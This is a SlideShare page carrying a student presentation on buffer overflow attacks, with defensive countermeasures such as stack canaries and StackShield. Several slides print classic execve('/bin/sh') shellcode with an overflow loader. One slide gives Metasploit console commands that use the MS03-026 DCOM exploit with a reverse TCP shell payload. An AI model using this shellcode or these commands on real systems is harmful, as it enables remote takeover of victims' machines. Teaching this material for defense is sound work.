Buffer overflow attacks

1,162 views
1,024 views

Published on

Presentation on buffer overflow attack

Published in: Education
0 Comments
0 Likes
Statistics
Notes
  • Be the first to comment

  • Be the first to like this

No Downloads
Views
Total views
1,162
On SlideShare
0
From Embeds
0
Number of Embeds
2
Actions
Shares
0
Downloads
69
Comments
0
Likes
0
Embeds 0
No embeds

No notes for slide

Buffer overflow attacks

  1. 1. BUFFER OVERFLOW ATTACKS Submitted By : Kapil Nagrale M.tech FY Software Engineering Roll No : 132190015
  2. 2. OUTLINE        INTRODUCTION STACK BASIS HOW IT WORKS ? IMPLEMENTING WITH METASPLOIT COUNTERMEASURES CONCLUSION REFERENCES
  3. 3. INTRODUCTION  What is buffer overflow? More data is put into a holding area than it can handle. Cause: Lack of bound checking (eg: standard C library )  An Intrusion or a Successful Attack aims to change the flow of control ( using buffer overflow), letting the attacker execute arbitrary code
  4. 4. INTRODUCTION  Morris worm (November 1988) Used finger Daemon to overflow buffer  Code Red worm (July 2001)  Slammer Worm (Jan 2003) Exploits the vulnerability in Microsoft SQL Server 2000
  5. 5. STACK BASICS Lower Memory Addresses Local Variables Old Base Pointer Return Address Higher Memory Address Arguments
  6. 6. HOW IT WORKS? void main() { int x; x = 0; function(1,2,3); x = 1; void function( int a, int b, int c) { char buffer1[5]; char buffer2[10]; int *ret; printf( "%dn",x); } ret = buffer1 + 12; (*ret) += 8; } This function jumps over the x=1 assignment directly to the printf() and prints the value as 0. The offsets (12, 8 used above ) are machine-dependant.
  7. 7. CONTINUED What do you do after overflowing the buffer?  Inject some code into the victim. Make the function return to this code  Spawning a shell  void main() { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); }  Dump the executable of the above execve() command and store it in a buffer
  8. 8. char shellcode[] = "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b" "x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd" "x80xe8xdcxffxffxff/bin/sh"; char large_string[128]; void main() { char buffer[96]; int i; long *long_ptr = (long *) large_string; // Fill the large_string Array with the address of the buffer // (shell code) for (i = 0; i < 32; i++) *(long_ptr + i) = (int) buffer; // Copy shell code to the beginning of large_string for (i = 0; i < strlen(shellcode); i++) large_string[i] = shellcode[i]; // Copy large_string onto buffer. This overflows the return address // and execs a shell strcpy(buffer,large_string); }
  9. 9. In a real security attack, malicious code usually comes form  environment variable  user input  network connection List of unsafe functions in the standard C library  strcpy()  strcat()  getwd()  gets()  fscanf()  scanf()  sprintf()
  10. 10. IMPLEMENTING WITH METASPLOIT  What is Metasploit? The Metasploit Project is a computer security project that provides information about security vulnerabilities and aids in penetration testing .
  11. 11. TERMINOLOGIES  Exploit : Exploit is the means by which an attacker takes advantage of a flaw or vulnerability in a network, application, or service. The hacker uses this flaw or vulnerability in a way that the developer or engineer never intended, to achieve a desired outcome (e.g. root access).  Payload : A payload is the program or code that is delivered to the victim system.  Session : Connection from successful exploit  LHOST : LOCAL HOST  RHOST : REMOTE HOST
  12. 12. IMPLEMENTATION          msf > use exploit/windows/dcerpc/ms03_026_dcom msf > show options msf > set RHOST 10.0.0.3 msf >show payloads msf >set PAYLOAD generic/shell_reverse_tcp msf >set LHOST 10.0.0.6 msf > exploit sessions –i 1 It will give a comman shell of victim’s computer on msfconsole. If the vulnerable program has root privileges one can have complete access to system.
  13. 13. COUNTERMEASURES  Array Bounds Checking While injecting code is optional for a buffer overflow attack, the corruption of control flow is essential. Thus unlike non-executable buffers, array bounds checking completely stops buffer overflow vulnerabilities and attacks. If arrays cannot be overflowed at all, then array overflows cannot be used to corrupt adjacent program state.
  14. 14. STACK GUARD METHOD DETECTING RETURN ADDRESS CHANGE: CANARY Place a Canary word before the return Address When the function returns, it first checks to see that the “CANARY WORD” is intact before jumping to the address pointed to by the return address
  15. 15. STACK SHIELD  Global Ret Stack Whenever a function call is made, the return address being pushed onto the normal stack is at the same time copied into the Global Ret Stack array. The Global Ret Stack has by default 256 entries, which limits the nesting depth to 256 function calls  RET Range Check It uses a global variable to store the return address of the current function.  Protecting Function Pointers Add checking code before all function calls that make use of function pointers to make sure that the function pointer does not point to parts of memory other than text segment.
  16. 16. CONCLUSION  The best available tool is effective against only 50% of the attacks. Often these tools incur undesirable performance overheads.  Even if we start writing the best of code from this point of time, there is still millions of code lines of “Legacy Code” out there which is vulnerable.  StackGuard is a systematic compiler tool that prevents a broad class of buffer overflow security attacks from succeeding.
  17. 17. REFERENCES  Conference on Software Security : Aleph One, Smashing the Stack for Fun and Profit. Originally published in Phrack 4914.1996  IEEE Reference : Buffer Overflows: Attacks and Defenses for the Vulnerability of the Decade*  The 7th International Conference on Computer Science & Education (ICCSE 2012)The Principle and Prevention of Windows Buffer Overflow  Pincus, Jonathan,”Beyond Stack Smashing: Recent Advances in Exploiting Buffer Overruns”, IEEE Security&Privacy
  18. 18. Q&A

×